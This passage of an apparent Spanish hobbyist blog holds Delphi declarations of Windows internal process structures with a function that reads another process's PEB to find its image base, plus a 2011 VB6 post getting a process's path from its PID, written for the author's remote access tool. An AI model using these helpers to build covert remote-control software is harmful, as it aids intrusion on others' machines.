                                   // MaximumLength (2)  26h
                                   // Buffer (4)         28h
    BaseDllName                    : TNtUnicodeString;// 2Ch
    Flags                          : ULONG;           // 34h
    LoadCount                      : SHORT;           // 38h
    TlsIndex                       : SHORT;           // 3Ah
    HashTableEntry                 : TListEntry;      // 3Ch
    TimeDataStamp                  : ULONG;           // 44h
  end;

  PPebLdrData = ^TPebLdrData;
  TPebLdrData = packed record
    Length                         : Cardinal;        // 0h
    Initialized                    : LongBool;        // 4h
    SsHandle                       : THandle;         // 8h
    InLoadOrderModuleList          : TListEntry;      // 0Ch
    InMemoryOrderModuleList        : TListEntry;      // 14h
    InInitializationOrderModuleList: TListEntry;      // 1Ch
  end;

  PCurDir = ^TCurDir;
  TCurDir = packed record
    DosPath: TNtUnicodeString;
    Handle : THandle;
  end;

  PRtlDriveLetterCurDir = ^TRtlDriveLetterCurDir;
  TRtlDriveLetterCurDir = packed record
    Flags    : Word;
    Length   : Word;
    TimeStamp: Cardinal;
    DosPath  : TNtAnsiString;
  end;

  PRtlUserProcessParameters = ^TRtlUserProcessParameters;
  TRtlUserProcessParameters = record
    MaximumLength    : Cardinal;
    Length           : Cardinal;
    Flags            : Cardinal;
    DebugFlags       : Cardinal;
    ConsoleHandle    : THandle;
    ConsoleFlags     : Cardinal;
    StandardInput    : THandle;
    StandardOutput   : THandle;
    StandardError    : THandle;
    CurrentDirectory : TCurDir;
    DllPath          : TNtUnicodeString;
    ImagePathName    : TNtUnicodeString;
    CommandLine      : TNtUnicodeString;
    Environment      : Pointer;
    StartingX        : Cardinal;
    StartingY        : Cardinal;
    CountX           : Cardinal;
    CountY           : Cardinal;
    CountCharsX      : Cardinal;
    CountCharsY      : Cardinal;
    FillAttribute    : Cardinal;
    WindowFlags      : Cardinal;
    ShowWindowFlags  : Cardinal;
    WindowTitle      : TNtUnicodeString;
    DesktopInfo      : TNtUnicodeString;
    ShellInfo        : TNtUnicodeString;
    RuntimeData      : TNtUnicodeString;
    CurrentDirectores: Array [0..31] of TRtlDriveLetterCurDir;
  end;

  PPebFreeBlock = ^TPebFreeBlock;
  TPebFreeBlock = record
    Next: PPebFreeBlock;
    Size: Cardinal;
  end;

  PPeb = ^TPeb;
  TPeb = packed record
    InheritedAddressSpace         : Boolean;
    ReadImageFileExecOptions      : Boolean;
    BeingDebugged                 : Boolean;
    SpareBool                     : Boolean;
    Mutant                        : Pointer;
    ImageBaseAddress              : Pointer;
    Ldr                           : PPebLdrData;
    ProcessParameters             : PRtlUserProcessParameters;
    SubSystemData                 : Pointer;
    ProcessHeap                   : Pointer;
    FastPebLock                   : Pointer;
    FastPebLockRoutine            : Pointer;
    FastPebUnlockRoutine          : Pointer;
    EnvironmentUpdateCount        : Cardinal;
    KernelCallbackTable           : Pointer;
    case Integer of
      4: (
        EventLogSection           : Pointer;
        EventLog                  : Pointer);
      5: (
        SystemReserved            : Array [0..1] of Cardinal;
  { end; }
    FreeList                      : PPebFreeBlock;
    TlsExpansionCounter           : Cardinal;
    TlsBitmap                     : Pointer;
    TlsBitmapBits                 : Array [0..1] of Cardinal;
    ReadOnlySharedMemoryBase      : Pointer;
    ReadOnlySharedMemoryHeap      : Pointer;
    ReadOnlyStaticServerData      : ^Pointer;
    AnsiCodePageData              : Pointer;
    OemCodePageData               : Pointer;
    UnicodeCaseTableData          : Pointer;
    NumberOfProcessors            : Cardinal;
    NtGlobalFlag                  : Cardinal;
    Unknown                       : Cardinal;
    CriticalSectionTimeout        : TLargeInteger;
    HeapSegmentReserve            : Cardinal;
    HeapSegmentCommit             : Cardinal;
    HeapDeCommitTotalFreeThreshold: Cardinal;
    HeapDeCommitFreeBlockThreshold: Cardinal;
    NumberOfHeaps                 : Cardinal;
    MaximumNumberOfHeaps          : Cardinal;
    ProcessHeaps                  : ^Pointer;
    GdiSharedHandleTable          : Pointer;
    ProcessStarterHelper          : Pointer;
    GdiDCAttributeList            : Cardinal;
    LoaderLock                    : Pointer;
    OSMajorVersion                : Cardinal;
    OSMinorVersion                : Cardinal;
    OSBuildNumber                 : Word;
    OSCSDVersion                  : Word;
    OSPlatformId                  : Cardinal;
    ImageSubsystem                : Cardinal;
    ImageSubsystemMajorVersion    : Cardinal;
    ImageSubsystemMinorVersion    : Cardinal;
    ImageProcessAffinityMask      : Cardinal;
    GdiHandleBuffer               : Array [0..33] of Cardinal;
    PostProcessInitRoutine        : ^Pointer;
    TlsExpansionBitmap            : Pointer;
    TlsExpansionBitmapBits        : Array [0..31] of Cardinal;
    SessionId                     : Cardinal;
    AppCompatInfo                 : Pointer;
    CSDVersion                    : TNtUnicodeString);
  end;

  TProcessInfoClass = (
    ProcessBasicInformation,
    ProcessQuotaLimits,
    ProcessIoCounters,
    ProcessVmCounters,
    ProcessTimes,
    ProcessBasePriority,
    ProcessRaisePriority,
    ProcessDebugPort,
    ProcessExceptionPort,
    ProcessAccessToken,
    ProcessLdtInformation,
    ProcessLdtSize,
    ProcessDefaultHardErrorMode,
    ProcessIoPortHandlers,          // Note: this is kernel mode only
    ProcessPooledUsageAndLimits,
    ProcessWorkingSetWatch,
    ProcessUserModeIOPL,
    ProcessEnableAlignmentFaultFixup,
    ProcessPriorityClass,
    ProcessWx86Information,
    ProcessHandleCount,
    ProcessAffinityMask,
    ProcessPriorityBoost,
    ProcessDeviceMap,
    ProcessSessionInformation,
    ProcessForegroundInformation,
    ProcessWow64Information,
    MaxProcessInfoClass);

  PROCESS_BASIC_INFORMATION = packed record
    ExitStatus: DWORD;
    PebBaseAddress: Pointer;
    AffinityMask: DWORD;
    BasePriority: DWORD;
    UniqueProcessId: DWORD;
    InheritedUniquePID:DWORD;
  end;
  TProcessBasicInformation = PROCESS_BASIC_INFORMATION;
  PProcessBasicInformation = ^TProcessBasicInformation;

function ZwQueryInformationProcess(hProcess: THandle; InformationClass: DWORD; Buffer: PProcessBasicInformation; BufferLength : DWORD; ReturnLength: PDWORD): Cardinal; stdcall; external 'ntdll.dll' name 'ZwQueryInformationProcess';
function ZwReadVirtualMemory(ProcessHandle: DWord; BaseAddress: Pointer; Buffer: Pointer; BufferLength: DWord; ReturnLength: PDWord): Cardinal; stdcall; external 'ntdll.dll';

function GetProcessImageBase(hProcess: THandle): Integer;

implementation

function NtSuccess(AStatus: Longint): Boolean;
begin
  Result := AStatus >= 0;
end;

function GetProcessImageBase(hProcess: THandle): Integer;
var PBI: TProcessBasicInformation;
    PEB: TPeb;
    dwRet: DWord;
begin
  Result := 0;
  //Obtenemos la información del proceso
  if not NTSuccess(ZwQueryInformationProcess(hProcess, 0 {ProcessBasicInformation}, @PBI, SizeOf(TProcessBasicInformation), @dwRet)) then
    Exit;
  //Copiamos el bloque PEB
  if not NTSuccess(ZwReadVirtualMemory(hProcess, PBI.PebBaseAddress, @PEB, SizeOf(TPeb), @dwRet)) then
    Exit;
  //Devolvemos el valor del ImageBase
  Result := Integer(PEB.ImageBaseAddress);
end;

end.

Saludos!

miércoles, 5 de enero de 2011

Obtener Ruta de Procesos

Trabajaba en mi RAT, mejorando el listado de procesos y decidí ponerle la ruta de los procesos.
Investigando un poco y con el conocimiento que tenia les traigo esta función, se debe de poner en un modulo.

01 Private Declare Function GetModuleFileNameEx Lib "PSAPI.DLL" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
02 Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
03 Private Declare Function CloseHandle Lib "Kernel32.dll" (ByVal Handle As Long) As Long
04 Private Declare Function EnumProcessModules Lib "PSAPI.DLL" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
05
06 Private Const MAX_PATH As Long = 260
07 Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
08
09
10 Private Function GetPathPID(pID As Long) As String
11 Dim lHandle As Long
12 Dim lEpID As Long
13 Dim lModule(250) As Long
14 Dim lByNeed As Long
15 Dim sPrName As String
16 Dim lSize As Long
17
18 lHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, pID)
19
20 If lHandle = 0 Then Exit Function
21 lEpID = EnumProcessModules(lHandle, lModule(1), MAX_PATH, lByNeed)
22
23 If lEpID = 0 Then Exit Function
24 sPrName = Space(MAX_PATH)
25 lSize = MAX_PATH
26
27 lEpID = GetModuleFileNameEx(lHandle, lModule(1), sPrName, lSize)
28 sPrName = Trim(Left(sPrName, lEpID))
29
30 lEpID = CloseHandle(lHandle)
31
32 GetPathPID = sPrName
33 End Function

Les explico un poco como lo hace:
[+]La API, GetModuleFileNameEx lo que hace es obtener la ruta, apartir de un handle del proceso y un modulo.
[+]la API, OpenProcess devuelve el handle a partir del pID del proceso(Process ID), se puede especificar apartir de demás APIs.
[+]La API, CloseHandle cierra el handle que hemos usado.
[+]La API, EnumProcessModules devuelve un array de los modulos del proceso.
[+]La constante, PROCESS_ALL_ACCESS sirve para tener acceso al proceso y asi la API devuelve el handle del proceso
[+]La constante, MAX_PATH una constante para minimizar el uso de numero xD.

Solo necesitan especificar el pID del proceso y les devolverá la ruta

Saludos!
xNeoDarkx